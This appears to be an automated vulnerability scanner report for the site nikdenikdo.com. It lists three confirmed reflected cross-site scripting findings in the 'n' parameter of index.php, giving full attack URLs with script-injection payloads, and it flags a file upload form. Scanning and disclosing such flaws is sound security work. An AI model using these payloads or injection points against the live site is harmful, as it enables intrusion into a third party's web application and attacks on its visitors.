nikdenikdo.com

XSS (Cross-site Scripting)

Severity: Important
Confirmation: Confirmed
URL: http://www.nikdenikdo.com/index.php?n='"--></style></script><script>alert(0x0002B4)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: n
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x0002B4)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.nikdenikdo.com/index.php?n='"--></style></script><script>alert(0x0002B7)</script>&strana=1
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: n
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x0002B7)</script>

Severity: Important
Confirmation: Confirmed
URL: http://www.nikdenikdo.com/index.php?n='"--></style></script><script>alert(0x000350)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: n
Parameter Type: Querystring
Attack Pattern: '"--></style></script><script>alert(0x000350)</script>

|||  File Upload Functionality Identified

Severity :  Information
Confirmation :   Confirmed
Vulnerable URL :  http://www.nikdenikdo.com/index.php?n=4
Vulnerability Classifications:  -
Form Name: soubor